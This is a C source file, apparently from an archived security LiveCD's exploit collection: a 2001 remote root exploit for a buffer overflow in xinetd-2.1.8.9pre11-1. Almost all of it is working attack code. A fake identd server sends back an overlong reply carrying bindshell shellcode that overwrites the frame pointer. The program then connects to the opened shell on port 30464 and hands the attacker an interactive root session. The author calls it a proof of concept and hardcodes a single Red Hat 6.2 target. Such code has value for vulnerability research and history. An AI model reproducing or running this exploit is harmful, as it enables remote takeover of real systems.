home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / xinetd0x69.c < prev   
C/C++ Source or Header  |  2005-02-12  |  9KB  |  360 lines

  1. /*
  2.  * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
  3.  * by qitest1 28/06/2001
  4.  *
  5.  * This is a proof of concept code for the exploitation of the bof
  6.  * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
  7.  * code uses a single-byte corruption of the fp, as explained by klog.
  8.  * sc_addr_pos is the position, from the beginning of the writable
  9.  * area, where a pointer to the nop will be placed.
  10.  *
  11.  * For ethical reasons just one hardcoded target type will be provided. 
  12.  * Its values work only against one of the bugged 'pre' releases of 
  13.  * xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
  14.  *
  15.  * Greets: zen-parse, for having found this bug
  16.  *       klog, for his paper about the fp corruption
  17.  *       all my friends on the internet =)
  18.  *
  19.  * 100% pure 0x69. =)   
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25. #include <netinet/in.h>
  26. #include <netdb.h>
  27.  
  28. #define MY_PORT         1
  29. #define THEIR_PORT      23 
  30. #define IDENTD_PORT     113
  31. #define FIRST_PAD       1009
  32.  
  33.   struct targ
  34.     {
  35.       int                  def;
  36.       char                 *descr;
  37.       unsigned long int    retaddr;
  38.       int           sc_addr_pos;
  39.     };
  40.  
  41.   struct targ target[]=
  42.     {                   
  43.       {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
  44.       {69, NULL, 0}
  45.     };
  46.  
  47.   char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
  48.   "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
  49.   "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
  50.   "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
  51.   "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
  52.   "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
  53.   "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
  54.   "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
  55.   "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
  56.   "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
  57.   "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
  58.   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  59.   "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
  60.  
  61.   char   zbuf[1024], host[512];
  62.   int     sel = 0, offset = 0;
  63.  
  64.   int    sockami2(char *host, int my_port, int their_port);
  65.   void   fake_identd(void);
  66.   void   l33t_buf(void);
  67.   static void keep_clz(void) __attribute__ ((destructor));
  68.   void      shellami(int sock);
  69.   void   usage(char *progname);
  70.  
  71. int
  72. main(int argc, char **argv)
  73. {
  74.   int    sock, cnt;
  75.  
  76.   printf("\n  xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
  77.   
  78.   if(getuid())
  79.         {
  80.           fprintf(stderr, "Must be root babe\n");
  81.           exit(1);
  82.         }
  83.  
  84.   if(argc == 1)
  85.         usage(argv[0]);
  86.   host[0] = 0;
  87.   while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
  88.     {
  89.    switch(cnt)
  90.         {
  91.    case 'h':
  92.      strncpy(host, optarg, sizeof(host));
  93.      host[sizeof(host)] = '\x00';
  94.      break;
  95.    case 't':
  96.      sel = atoi(optarg);       
  97.      break;
  98.    case 'o':
  99.      offset = atoi(optarg);
  100.      break;
  101.    case 's':
  102.      target[sel].sc_addr_pos = atoi(optarg);
  103.      break;
  104.    default:
  105.      usage(argv[0]);
  106.      break;
  107.         }
  108.     }
  109.   if(host[0] == 0)
  110.         usage(argv[0]);
  111.  
  112.   printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  113.   target[sel].retaddr += offset;
  114.   printf("+Using: retaddr = %p and sc_addr_pos = %d...\n  ok\n",
  115.   target[sel].retaddr, target[sel].sc_addr_pos);
  116.   printf("+Starting fake_identd...\n");
  117.   fake_identd();
  118.   return;
  119. }
  120.  
  121. int
  122. sockami2(char *host, int my_port, int their_port)
  123. {
  124.   struct        sockaddr_in address;
  125.   struct        sockaddr_in my_addr;
  126.   struct        hostent *hp;
  127.   int           sock;
  128.  
  129.   sock = socket(AF_INET, SOCK_STREAM, 0);
  130.   if(sock == -1)
  131.         {
  132.           perror("socket()");
  133.           exit(-1);
  134.         }
  135.  
  136.   hp = gethostbyname(host);
  137.   if(hp == NULL)
  138.         {
  139.           perror("gethostbyname()");
  140.           exit(-1);
  141.         }
  142.  
  143.   my_addr.sin_family = AF_INET;
  144.   my_addr.sin_port = htons(my_port);
  145.   my_addr.sin_addr.s_addr = INADDR_ANY;
  146.   bzero(&(my_addr.sin_zero), 8);
  147.  
  148.   if(bind(sock, (struct sockaddr *)&my_addr,
  149.   sizeof(struct sockaddr)) == -1)
  150.         {
  151.           perror("bind()");
  152.           exit(1);
  153.         }
  154.  
  155.   memset(&address, 0, sizeof(address));
  156.   memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  157.   address.sin_family = AF_INET;
  158.   address.sin_port = htons(their_port);
  159.  
  160.   if(connect(sock, (struct sockaddr *) &address, 
  161.   sizeof(address)) == -1)
  162.         {
  163.           perror("connect()");
  164.           exit(-1);
  165.         }
  166.  
  167.   return(sock);
  168. }
  169.  
  170. void
  171. fake_identd(void)
  172. {
  173.   int           sockfd, new_fd, sin_size, rem_port, loc_port, i;
  174.   char          rbuf[1024], sbuf[1024], cif[6], *ptr;
  175.   struct        sockaddr_in my_addr;   
  176.   struct        sockaddr_in their_addr;        
  177.  
  178.   printf("  fake_identd forking into background\n");
  179.   if (!fork())
  180.     {
  181.         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
  182.           {
  183.             perror("socket()");
  184.             exit(1);
  185.           }
  186.         
  187.         my_addr.sin_family = AF_INET;         
  188.         my_addr.sin_port = htons(IDENTD_PORT);     
  189.         my_addr.sin_addr.s_addr = INADDR_ANY; 
  190.         bzero(&(my_addr.sin_zero), 8);        
  191.  
  192.         if(bind(sockfd, (struct sockaddr *)&my_addr, 
  193.         sizeof(struct sockaddr)) == -1) 
  194.           {
  195.             perror("bind()");
  196.             exit(1);
  197.           }
  198.  
  199.         if(listen(sockfd, 1) == -1)
  200.           {
  201.             perror("listen()");
  202.             exit(1);
  203.           }
  204.  
  205.         while(1)
  206.           {  
  207.             sin_size = sizeof(struct sockaddr_in);
  208.             if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, 
  209.             &sin_size)) == -1) 
  210.               {
  211.                 perror("accept()");
  212.                 continue;
  213.               }
  214.  
  215.         /* Fake session 
  216.          */
  217.             memset(rbuf, 0, sizeof(rbuf));
  218.             recv(new_fd, rbuf, sizeof(rbuf), 0);
  219.  
  220.         /* Parsing of query
  221.          */
  222.             ptr = rbuf; i = 0;
  223.             while(*ptr != ',')
  224.               {
  225.                 cif[i] = *ptr;
  226.                 *ptr++; i ++;
  227.               }
  228.             sscanf(cif, "%d", &rem_port); 
  229.             memset(cif, 0, sizeof(cif));
  230.             *ptr++; i = 0;
  231.             while(*ptr != ' ')
  232.               {
  233.                 cif[i] = *ptr;
  234.                 *ptr++; i++;
  235.               }
  236.             sscanf(cif, "%d", &loc_port); 
  237.         
  238.             l33t_buf();
  239.         
  240.             memset(sbuf, 0, sizeof(sbuf));
  241.             sprintf(sbuf, "%d,%d:USERID:%s\r\n", 
  242.             rem_port, loc_port, zbuf);
  243.             send(new_fd, sbuf, strlen(sbuf), 0);
  244.  
  245.             memset(rbuf, 0, sizeof(rbuf));
  246.             recv(new_fd, rbuf, sizeof(rbuf), 0);
  247.  
  248.         /* End
  249.          */
  250.           }
  251.     }
  252.   return;
  253. }
  254.  
  255. void
  256. l33t_buf(void)
  257. {
  258.   int           i, n = 0;
  259.  
  260.   memset(zbuf, 0, sizeof(zbuf));
  261.   for(i = 0; i < FIRST_PAD; i++)
  262.         zbuf[i] = '\x69';
  263.  
  264.   memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
  265.   for(i = target[sel].sc_addr_pos - strlen(shellcode); 
  266.       i < target[sel].sc_addr_pos; 
  267.       i++)
  268.         zbuf[i] = shellcode[n++];
  269.   
  270.   zbuf[target[sel].sc_addr_pos + 0] = 
  271.     (u_char) (target[sel].retaddr & 0x000000ff);
  272.   zbuf[target[sel].sc_addr_pos + 1] = 
  273.     (u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
  274.   zbuf[target[sel].sc_addr_pos + 2] = 
  275.     (u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
  276.   zbuf[target[sel].sc_addr_pos + 3] = 
  277.     (u_char)((target[sel].retaddr & 0xff000000) >> 24);
  278.  
  279.   return;
  280. }
  281.  
  282. void
  283. keep_clz(void)
  284. {
  285.   int    sock;
  286.  
  287.   if(host[0] != 0)
  288.     {
  289.       printf("+Causing an auth request to our fake_identd\n");
  290.         sock = sockami2(host, MY_PORT, THEIR_PORT); 
  291.         printf("  done\n");
  292.         close(sock);
  293.  
  294.       printf("+Enjoy your root shell...\n  0x69 =)\n");
  295.       sleep(1);
  296.       sock = sockami2(host, 6969, 30464);
  297.       shellami(sock);
  298.     }
  299. }
  300.  
  301. void
  302. shellami(int sock)
  303. {
  304.   int             n;
  305.   char            recvbuf[1024], *cmd = "id; uname -a\n";
  306.   fd_set          rset;
  307.  
  308.   send(sock, cmd, strlen(cmd), 0);
  309.  
  310.   while (1)
  311.     {
  312.       FD_ZERO(&rset);
  313.       FD_SET(sock, &rset);
  314.       FD_SET(STDIN_FILENO, &rset);
  315.       select(sock+1, &rset, NULL, NULL, NULL);
  316.       if(FD_ISSET(sock, &rset))
  317.         {
  318.           n = read(sock, recvbuf, 1024);
  319.           if (n <= 0)
  320.             {
  321.               printf("Connection closed by foreign host.\n");
  322.               exit(0);
  323.             }
  324.           recvbuf[n] = 0;
  325.           printf("%s", recvbuf);
  326.         }
  327.       if (FD_ISSET(STDIN_FILENO, &rset))
  328.         {
  329.           n = read(STDIN_FILENO, recvbuf, 1024);
  330.           if (n > 0)
  331.             {
  332.               recvbuf[n] = 0;
  333.               write(sock, recvbuf, n);
  334.             }
  335.         }
  336.     }
  337.   return;
  338. }
  339.  
  340. void
  341. usage(char *progname)
  342. {
  343.   int  i = 0;
  344.   
  345.   printf("Usage: %s [options]\n", progname);
  346.   printf("Options:\n"
  347.          "  -h hostname\n"
  348.          "  -t target\n"
  349.          "  -o offset\n"
  350.      "  -s sc_addr_pos\n"
  351.          "Available targets:\n");
  352.   while(target[i].def != 69)
  353.         { 
  354.           printf("  %d) %s\n", target[i].def, target[i].descr);
  355.           i++;
  356.         } 
  357.  
  358.   exit(1);
  359. }
  360.